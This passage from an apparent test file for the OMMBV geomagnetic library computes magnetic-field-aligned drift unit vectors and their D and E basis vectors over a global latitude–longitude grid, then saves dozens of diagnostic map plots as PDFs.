plt.plot(np.log10(steps_goal[1:]), np.log10(dmz.mean(axis=1)),
label='z')
plt.xlabel('Log Step Size (km)')
plt.ylabel('Change in Vector Component')
plt.title("Change in Meridional E Vector (ECEF)")
plt.legend()
plt.tight_layout()
plt.savefig('overall_E_mer_diff_vs_step_size.pdf')
plt.close()
except:
pass
def test_unit_vector_component_plots(self):
"""Ensure unit vector generation satisfies tolerance and gradient goals.
Produces variety of plots."""
import matplotlib.pyplot as plt
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
zvx = np.zeros((len(p_lats), len(p_longs) + 1))
zvy = zvx.copy()
zvz = zvx.copy()
mx = zvx.copy()
my = zvx.copy()
mz = zvx.copy()
bx = zvx.copy()
by = zvx.copy()
bz = zvx.copy()
grad_zon = zvx.copy()
grad_mer = zvx.copy()
tol_zon = zvx.copy()
tol_mer = zvx.copy()
init_type = zvx.copy()
num_loops = zvx.copy()
d_zvx = np.zeros((len(p_lats), len(p_longs) + 1))
d_zvy = d_zvx.copy()
d_zvz = d_zvx.copy()
d2_zvx = np.zeros((len(p_lats), len(p_longs) + 1))
d2_zvy = d_zvx.copy()
d2_zvz = d_zvx.copy()
d_mx = d_zvx.copy()
d_my = d_zvx.copy()
d_mz = d_zvx.copy()
d_fax = d_zvx.copy()
d_fay = d_zvx.copy()
d_faz = d_zvx.copy()
d2_mx = d_zvx.copy()
d2_my = d_zvx.copy()
d2_mz = d_zvx.copy()
e_zvx = np.zeros((len(p_lats), len(p_longs) + 1))
e_zvy = d_zvx.copy()
e_zvz = d_zvx.copy()
e_mx = d_zvx.copy()
e_my = d_zvx.copy()
e_mz = d_zvx.copy()
e_fax = d_zvx.copy()
e_fay = d_zvx.copy()
e_faz = d_zvx.copy()
date = datetime.datetime(2000, 1, 1)
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
for i, p_lat in enumerate(p_lats):
# iterate through target cyclicly and run commands
print (i, p_lat)
dview.targets = next(targets)
pending.append(
dview.apply_async(OMMBV.calculate_mag_drift_unit_vectors_ecef, [p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs), full_output=True,
include_debug=True))
for i, p_lat in enumerate(p_lats):
print ('collecting ', i, p_lat)
# collect output
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz, infod = pending.pop(0).get()
zvx[i, :-1], zvy[i, :-1], zvz[i, :-1] = OMMBV.ecef_to_enu_vector(tzx, tzy, tzz,
[p_lat]*len(p_longs), p_longs)
bx[i, :-1], by[i, :-1], bz[i, :-1] = OMMBV.ecef_to_enu_vector(tbx, tby, tbz,
[p_lat]*len(p_longs), p_longs)
mx[i, :-1], my[i, :-1], mz[i, :-1] = OMMBV.ecef_to_enu_vector(tmx, tmy, tmz,
[p_lat]*len(p_longs), p_longs)
# pull out info about the vector generation
grad_zon[i, :-1], grad_mer[i, :-1] = infod['diff_zonal_apex'], infod['diff_mer_apex']
tol_zon[i, :-1], tol_mer[i, :-1] = infod['diff_zonal_vec'], infod['diff_mer_vec']
init_type[i, :-1] = infod['vector_seed_type']
num_loops[i, :-1] = infod['loops']
# collect outputs on E and D vectors
dzx, dzy, dzz = infod['d_zon_x'], infod['d_zon_y'], infod['d_zon_z']
dfx, dfy, dfz = infod['d_fa_x'], infod['d_fa_y'], infod['d_fa_z']
dmx, dmy, dmz = infod['d_mer_x'], infod['d_mer_y'], infod['d_mer_z']
d_zvx[i, :-1], d_zvy[i, :-1], d_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs), p_longs)
dzx, dzy, dzz = infod['d_zon2_x'], infod['d_zon2_y'], infod['d_zon2_z']
d2_zvx[i, :-1], d2_zvy[i, :-1], d2_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs),
p_longs)
d_fax[i, :-1], d_fay[i, :-1], d_faz[i, :-1] = OMMBV.ecef_to_enu_vector(dfx, dfy, dfz,
[p_lat]*len(p_longs), p_longs)
d_mx[i, :-1], d_my[i, :-1], d_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs), p_longs)
dmx, dmy, dmz = infod['d_mer2_x'], infod['d_mer2_y'], infod['d_mer2_z']
d2_mx[i, :-1], d2_my[i, :-1], d2_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs), p_longs)
ezx, ezy, ezz = infod['e_zon_x'], infod['e_zon_y'], infod['e_zon_z']
efx, efy, efz = infod['e_fa_x'], infod['e_fa_y'], infod['e_fa_z']
emx, emy, emz = infod['e_mer_x'], infod['e_mer_y'], infod['e_mer_z']
e_zvx[i, :-1], e_zvy[i, :-1], e_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(ezx, ezy, ezz,
[p_lat]*len(p_longs), p_longs)
e_fax[i, :-1], e_fay[i, :-1], e_faz[i, :-1] = OMMBV.ecef_to_enu_vector(efx, efy, efz,
[p_lat]*len(p_longs), p_longs)
e_mx[i, :-1], e_my[i, :-1], e_mz[i, :-1] = OMMBV.ecef_to_enu_vector(emx, emy, emz,
[p_lat]*len(p_longs), p_longs)
else:
for i, p_lat in enumerate(p_lats):
print (i, p_lat)
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz, infod = OMMBV.calculate_mag_drift_unit_vectors_ecef(
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs),
full_output=True,
include_debug=True)
zvx[i, :-1], zvy[i, :-1], zvz[i, :-1] = OMMBV.ecef_to_enu_vector(tzx, tzy, tzz,
[p_lat]*len(p_longs), p_longs)
bx[i, :-1], by[i, :-1], bz[i, :-1] = OMMBV.ecef_to_enu_vector(tbx, tby, tbz,
[p_lat]*len(p_longs), p_longs)
mx[i, :-1], my[i, :-1], mz[i, :-1] = OMMBV.ecef_to_enu_vector(tmx, tmy, tmz,
[p_lat]*len(p_longs), p_longs)
# pull out info about the vector generation
grad_zon[i, :-1], grad_mer[i, :-1] = infod['diff_zonal_apex'], infod['diff_mer_apex']
tol_zon[i, :-1], tol_mer[i, :-1] = infod['diff_zonal_vec'], infod['diff_mer_vec']
init_type[i, :-1] = infod['vector_seed_type']
num_loops[i, :-1] = infod['loops']
# collect outputs on E and D vectors
dzx, dzy, dzz = infod['d_zon_x'], infod['d_zon_y'], infod['d_zon_z']
dfx, dfy, dfz = infod['d_fa_x'], infod['d_fa_y'], infod['d_fa_z']
dmx, dmy, dmz = infod['d_mer_x'], infod['d_mer_y'], infod['d_mer_z']
d_zvx[i, :-1], d_zvy[i, :-1], d_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs),
p_longs)
dzx, dzy, dzz = infod['d_zon2_x'], infod['d_zon2_y'], infod['d_zon2_z']
d2_zvx[i, :-1], d2_zvy[i, :-1], d2_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs),
p_longs)
d_fax[i, :-1], d_fay[i, :-1], d_faz[i, :-1] = OMMBV.ecef_to_enu_vector(dfx, dfy, dfz,
[p_lat]*len(p_longs),
p_longs)
d_mx[i, :-1], d_my[i, :-1], d_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs),
p_longs)
dmx, dmy, dmz = infod['d_mer2_x'], infod['d_mer2_y'], infod['d_mer2_z']
d2_mx[i, :-1], d2_my[i, :-1], d2_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs),
p_longs)
ezx, ezy, ezz = infod['e_zon_x'], infod['e_zon_y'], infod['e_zon_z']
efx, efy, efz = infod['e_fa_x'], infod['e_fa_y'], infod['e_fa_z']
emx, emy, emz = infod['e_mer_x'], infod['e_mer_y'], infod['e_mer_z']
e_zvx[i, :-1], e_zvy[i, :-1], e_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(ezx, ezy, ezz,
[p_lat]*len(p_longs),
p_longs)
e_fax[i, :-1], e_fay[i, :-1], e_faz[i, :-1] = OMMBV.ecef_to_enu_vector(efx, efy, efz,
[p_lat]*len(p_longs),
p_longs)
e_mx[i, :-1], e_my[i, :-1], e_mz[i, :-1] = OMMBV.ecef_to_enu_vector(emx, emy, emz,
[p_lat]*len(p_longs),
p_longs)
# account for periodicity
zvx[:, -1] = zvx[:, 0]
zvy[:, -1] = zvy[:, 0]
zvz[:, -1] = zvz[:, 0]
bx[:, -1] = bx[:, 0]
by[:, -1] = by[:, 0]
bz[:, -1] = bz[:, 0]
mx[:, -1] = mx[:, 0]
my[:, -1] = my[:, 0]
mz[:, -1] = mz[:, 0]
grad_zon[:, -1] = grad_zon[:, 0]
grad_mer[:, -1] = grad_mer[:, 0]
tol_zon[:, -1] = tol_zon[:, 0]
tol_mer[:, -1] = tol_mer[:, 0]
init_type[:, -1] = init_type[:, 0]
num_loops[:, -1] = num_loops[:, 0]
d_zvx[:, -1] = d_zvx[:, 0]
d_zvy[:, -1] = d_zvy[:, 0]
d_zvz[:, -1] = d_zvz[:, 0]
d2_zvx[:, -1] = d2_zvx[:, 0]
d2_zvy[:, -1] = d2_zvy[:, 0]
d2_zvz[:, -1] = d2_zvz[:, 0]
d_fax[:, -1] = d_fax[:, 0]
d_fay[:, -1] = d_fay[:, 0]
d_faz[:, -1] = d_faz[:, 0]
d_mx[:, -1] = d_mx[:, 0]
d_my[:, -1] = d_my[:, 0]
d_mz[:, -1] = d_mz[:, 0]
d2_mx[:, -1] = d2_mx[:, 0]
d2_my[:, -1] = d2_my[:, 0]
d2_mz[:, -1] = d2_mz[:, 0]
e_zvx[:, -1] = e_zvx[:, 0]
e_zvy[:, -1] = e_zvy[:, 0]
e_zvz[:, -1] = e_zvz[:, 0]
e_fax[:, -1] = e_fax[:, 0]
e_fay[:, -1] = e_fay[:, 0]
e_faz[:, -1] = e_faz[:, 0]
e_mx[:, -1] = e_mx[:, 0]
e_my[:, -1] = e_my[:, 0]
e_mz[:, -1] = e_mz[:, 0]
ytickarr = np.array([0, 0.25, 0.5, 0.75, 1])*(len(p_lats) - 1)
xtickarr = np.array([0, 0.2, 0.4, 0.6, 0.8, 1])*len(p_longs)
try:
fig = plt.figure()
plt.imshow(zvx, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('zonal_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(zvy, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('zonal_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(zvz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('zonal_up.pdf')
plt.close()
fig = plt.figure()
plt.imshow(bx, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Field-Aligned Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('fa_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(by, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Field-Aligned Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('fa_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(bz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Field-Aligned Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('fa_up.pdf')
plt.close()
fig = plt.figure()
plt.imshow(mx, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('mer_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(my, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('mer_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(mz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('mer_up.pdf')
plt.close()
# D Vectors
fig = plt.figure()
plt.imshow(np.sqrt(d_zvx ** 2 + d_zvy ** 2 + d_zvz ** 2), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Field Aligned Magnitude')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_zon.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_zvx, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Zonal Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_zonal_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_zvy, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Zonal Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_zonal_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_zvz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Zonal Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_zonal_up.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.sqrt(d_fax ** 2 + d_fay ** 2 + d_faz ** 2), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Field Aligned Magnitude')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_fa.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_fax, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Field Aligned Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_fa_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_fay, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Field Aligned Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_fa_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_faz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Field Aligned Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_fa_up.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.sqrt(d_mx ** 2 + d_my ** 2 + d_mz ** 2), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Meridional Magnitude')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_mer.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_mx, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Meridional Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_mer_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_my, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Meridional Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_mer_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(d_mz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('D Meridional Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_mer_up.pdf')
plt.close()
fig = plt.figure()
dmag = np.sqrt(d_mx ** 2 + d_my ** 2 + d_mz ** 2)
dmag2 = np.sqrt(d2_mx ** 2 + d2_my ** 2 + d2_mz ** 2)
plt.imshow(np.log10(np.abs(dmag - dmag2) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Normalized Difference')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_norm.pdf')
plt.close()
fig = plt.figure()
dmag = np.sqrt(d_mx ** 2 + d_my ** 2 + d_mz ** 2)
plt.imshow(np.log10(np.abs(d2_mx - d_mx)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Difference - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_mx - d_mx) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Difference - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_east_norm.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_my - d_my)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Difference - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_my - d_my) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Difference - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_north_norm.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_mz - d_mz)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Difference - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_up.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_mz - d_mz) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Difference - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_up_norm.pdf')
plt.close()
fig = plt.figure()
dmag = np.sqrt(d_zvx ** 2 + d_zvy ** 2 + d_zvz ** 2)
dmag2 = np.sqrt(d2_zvx ** 2 + d2_zvy ** 2 + d2_zvz ** 2)
plt.imshow(np.log10(np.abs(dmag2 - dmag) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Normalized Difference')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_norm.pdf')
plt.close()
fig = plt.figure()
dmag = np.sqrt(d_zvx ** 2 + d_zvy ** 2 + d_zvz ** 2)
plt.imshow(np.log10(np.abs(d2_zvx - d_zvx)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Difference - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_zvy - d_zvy)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Difference - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_zvz - d_zvz)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Difference - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_up.pdf')
plt.close()
plt.imshow(np.log10(np.abs(d2_zvx - d_zvx) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Difference - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_east_norm.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_zvy - d_zvy) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Difference - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_north_norm.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(d2_zvz - d_zvz) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Difference - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_up_norm.pdf')
plt.close()
# E Vectors
fig = plt.figure()
plt.imshow(np.sqrt(e_zvx ** 2 + e_zvy ** 2 + e_zvz ** 2), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Field Aligned Magnitude')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_zon.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_zvx, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Zonal Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_zonal_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_zvy, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Zonal Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_zonal_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_zvz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Zonal Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_zonal_up.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.sqrt(e_fax ** 2 + e_fay ** 2 + e_faz ** 2), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Field Aligned Magnitude')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_fa.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_fax, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Field Aligned Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_fa_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_fay, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Field Aligned Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_fa_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_faz, origin='lower')
plt.colorbar()
